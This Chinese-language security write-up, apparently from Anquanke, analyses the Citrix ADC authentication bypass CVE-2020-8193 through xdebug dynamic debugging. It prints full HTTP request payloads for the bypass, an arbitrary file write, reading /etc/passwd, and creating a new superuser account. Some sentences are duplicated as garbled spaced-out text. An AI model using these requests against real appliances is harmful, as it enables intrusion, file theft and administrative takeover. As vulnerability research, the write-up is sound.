本文首发在安全客:https://www.anquanke.com/post/id/210920
目前关于Citrix ADC的动态调试分析文章很少,大部分为静态代码审计,难免会有一些生涩难懂的地方,有的认证绕过的原理还有分析错误,本文从搭建虚拟机和xdebug调试环境开始分析,动态调试跟踪漏洞的核心原理,以及分析其他绕过认证的方法。最后配合其他漏洞,实现任意文件读写。
Citrix ADC 是一款应用交付 Controller,用于分析特定于应用的流量,以便智能地为 Web 应用程序分配、优化和保护 4 层 7 (L4—L7) 网络流量。
Citrix 官方发布了Citrix ADC,Citrix Gateway和Citrix SD-WAN WANOP 组件中多个安全漏洞风险通告。建议使用用户及时安装最新补丁,减少损失。
可参考 https://mp.weixin.qq.com/s/cJMyTNumh_rsjwvj3kJIYA 进行环境准备
其中xdebug放在 https://github.com/ctlyz123/CVE-2020-8193
登录账号之后,在Citrix 官网选择appliances 下载
https://www.citrix.com/downloads/citrix-adc/virtual-appliances.html
本文中所有环境均为Citrix ADC VPX for ESX 12.1 Build 55.18 虚拟机
该系列漏洞漏洞类型为php的逻辑类漏洞,考虑到Citrix php代码量较为庞大,有想调试的打算,但是网上搜了一波并没有相关版本的xdebug.so
,又因为当前环境下linux版本为不为常用的freebsd 8.4 版本,该版本已经停更更新源。最后折腾了一波把对应版本的xdebug编译完了,我也放在了github上供大家使用。下载下来之后放在/usr/local/lib/目录下和php.ini同级。
接下来就是php的常规调试步骤了 :
在/usr/local/lib/php.ini文件的最后添加如下配置
[xdebug]
zend_extension="/usr/local/lib/xdebug.so"
xdebug.remote_autostart=1
xdebug.remote_enable=1
xdebug.remote_host = "192.168.1.118"
xdebug.idekey="PHPSTORM"
xdebug.remote_handler=dbgp
xdebug.remote_port=9000
之前尝试了remote_connect_back最后不太好使,之后采用了remote_host的方式指定反连IP
开放Debug port,参考如下配置:
在主目录/netscaler/ns_gui写phpinfo并查看效果如下:
成功配置调试模式
查看httpd.conf 配置文件,这段配置的主要功能是将login menu等路由赚到。
/admin_ui/php/index.php
/admin_ui/php/system/core/CodeIgniter.php
/admin_ui/php/system/core/Router.php
在进入路由前的预处理操作,将会在_parse_routes中处理对应的路由。
/admin_ui/php/system/core/Router.php
按照规则匹配路由表
将URL参数划分为类/方法/参数,如下图所示:
再回到CodeIgniter.php中引用类,调用include方法实现此功能。
本次Citrix最重要的漏洞为认证绕过,在此基础上有任意文件操作和低权限获取漏洞。
梳理过路由之后找到一个不用经过认证,而且可以创建有效session 的路径 。在pcidss.php 中的report方法里面存在调用init的代码分支,如下图所示
回头看一下init代码里的流程可以发现其中包含创建session的过程,这里的$argsList['sid']
为get参数中的sid,该参数被带入到setup_webstart_session 函数中复制给session的sid
setup_webstart_session函数如下,经过简单的合法性检查SESSION的主要字段就被赋值了
检查规则如下,简单的数字和字母正则匹配
上一步骤中分析了session的赋值,但是在赋值之后还有很多操作,如果其中某一步操作失败,Cookie id 是不会被返回到前端来的。因此还需要梳理后续的程序流程,继续调试分析
利用fetchEntity函数解析post数据中的内容,跟进查看
这里command是从$entity变量生成的,可以看出entitydef中的变量对应关系。下一步就是执行execte_command 函数。该函数在abstract_controller.php 文件中,利用get_nitro_mode函数动态的获取了nitro_model.php 函数中的类并直接执行了该类中的execute_command方法
继续跟进,顺利的来到了nitro_model.php 中的command_execution方法
最重要的地方来了在下面会分析,如何构造数据包绕过认证。
经过多次调试发现了个比较特殊的现象,如果走了如下分支就会覆盖 q u e r y p a r a m s 变 量 , 那 么 该 分 支 的 赋 值 会 让 query_params 变量,那么该分支的赋值会让 queryparams变量,那么该分支的赋值会让nitro_return_value得到一个xml的返回内容如下所示
354 Invalid username or password ERROR
那么问题来了,如果正常的认证失败是有一个json的返回体,json格式就会正常解析代码如下:
根据代码逻辑如果 n i t r o r e t u r n v a l u e 为 x m l 格 式 那 么 将 会 解 析 失 败 , 从 而 使 得 nitro_return_value为xml格式那么将会解析失败,从而使得 nitroreturnvalue为xml格式那么将会解析失败,从而使得this->result的内容为null,这就造成了下面逻辑走了另一个分支。这就是绕过认证的核心原理,只需要将 $this->result 赋值为null之后就可以认证绕过了。只需将sid设置为包含loginchallengeresponse且包含requestbody即可。
之后又跟踪了函数 $nitro->v1($arg_list[0], $arg_list[1] . $query_params);
发现在nsrest_exec 中会有错误的返回,如果参数如下图所示则会返回xml格式导致,认证解析失败,从而绕过认证。
经过一波操作,得到的session还有很多属性没有设置如下图所示,NSAPI为之前的loginchalleresponse:
如果设置了force_setup 为1则会给session赋值,如下图所示:
最后的session各个要素都具备,具有了使用价值,达到了认证绕过的目的。
通过上面的一波分析,对认证绕过的方式有了一些的了解,我们看一看有没有其他的分支可以绕过。首先梳理下绕过的条件
最后一个条件好满足,那么看一看第一个条件还有没有其他的分支,经过梳理之后发现了以下每个分支都可以达到绕过认证
但是里面有坑其中fwconfig需要修改以下payload
POST /pcidss/report?type=fwconfig&sid=loginchallengeresponserequestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.1.131
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/xml
X-NITRO-USER: Twjf2fOW
X-NITRO-PASS: Du16oQQ0
Content-Length: 42
根据原作者的描述以及自己的调试,session的使用需要设置rand_key
在代码中也有对session和rand_key的校验
此时如果不一致将会404就像代码的逻辑一样。但是这个也是很好获取的,访问带有header的php就可以获取到
作者给的是
GET /menu/stc HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSID=05afba59ef8e0e35933f3bc266941337
Upgrade-Insecure-Requests: 1
就这样带着session和rand_key 就可以干一些事情了
在rapi.php的main 函数中存在一个大switch case,其中有很多关键函数
prepare_text_upload 函数中存在文件写操作
发送如下数据包 注意修改session和rand_key
POST /rapi/uploadtext HTTP/1.1
Host: citrix.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
DNT: 1
rand_key: 1179557566.1594810901289502
Connection: close
Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=6c8e255a118516ff2cb50fa2ee6cbda1; rdx_pagination_size=25%20Per%20Page
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
object={"uploadtext":{"filedir":"/tmp","filedata":"test","filename":"test.txt"}}
这里的文件目录主要是根据filename生成,会先删除该文件然后再创建,该部分逻辑如下图所示。
写入效果如下
在同一个函数有一个 filedownload函数,该功能可以实现文件下载
指定path参数 此用url编码 path:%2fetc%2fpasswd
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.1.131
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/xml
X-NITRO-USER: onu1IQgD
X-NITRO-PASS: FGsE6MyM
rand_key: 1637785190.1594812669375542
Cookie: SESSID=275cd8c53c9a1b710e051079183e3427; is_cisco_platform=0; startupapp=neo
Content-Length: 31
可以采用多种方法获取系统权限
这里把创建新用户的数据包贴出来
第一个包创建用户
POST /nitro/v1/config/systemuser HTTP/1.1
Host: 192.168.3.18:9080
Content-Length: 83
Cache-Control: max-age=0
Accept: application/json
rand_key: 845810655.1594556994263502
NITRO_WEB_APPLICATION: true
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo
Connection: close
object={"params":{"warning":"YES"},"systemuser":{"username":"nsroot1","password":"nsroot1","timeout":"900","maxsession":"20","logging":"ENABLED","externalauth":"ENABLED"}}
第二个包修改为superuser权限
POST /nitro/v1/config/systemuser_systemcmdpolicy_binding HTTP/1.1
Host: 192.168.3.18:9080
Content-Length: 83
Cache-Control: max-age=0
Accept: application/json
rand_key: 845810655.1594556994263502
NITRO_WEB_APPLICATION: true
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: is_cisco_platform=-1; rdx_pagination_size=25%20Per%20Page; SESSID=6c5c31300c22b200f0273e7a13be47cb; startupapp=neo
Connection: close
object={"params":{"warning":"YES"},"systemuser_systemcmdpolicy_binding":{"policyname":"superuser","priority":"0","username":"nsroot1"}}
https://dmaasland.github.io/posts/citrix.html
https://github.com/Airboi/Citrix-ADC-RCE-CVE-2020-8193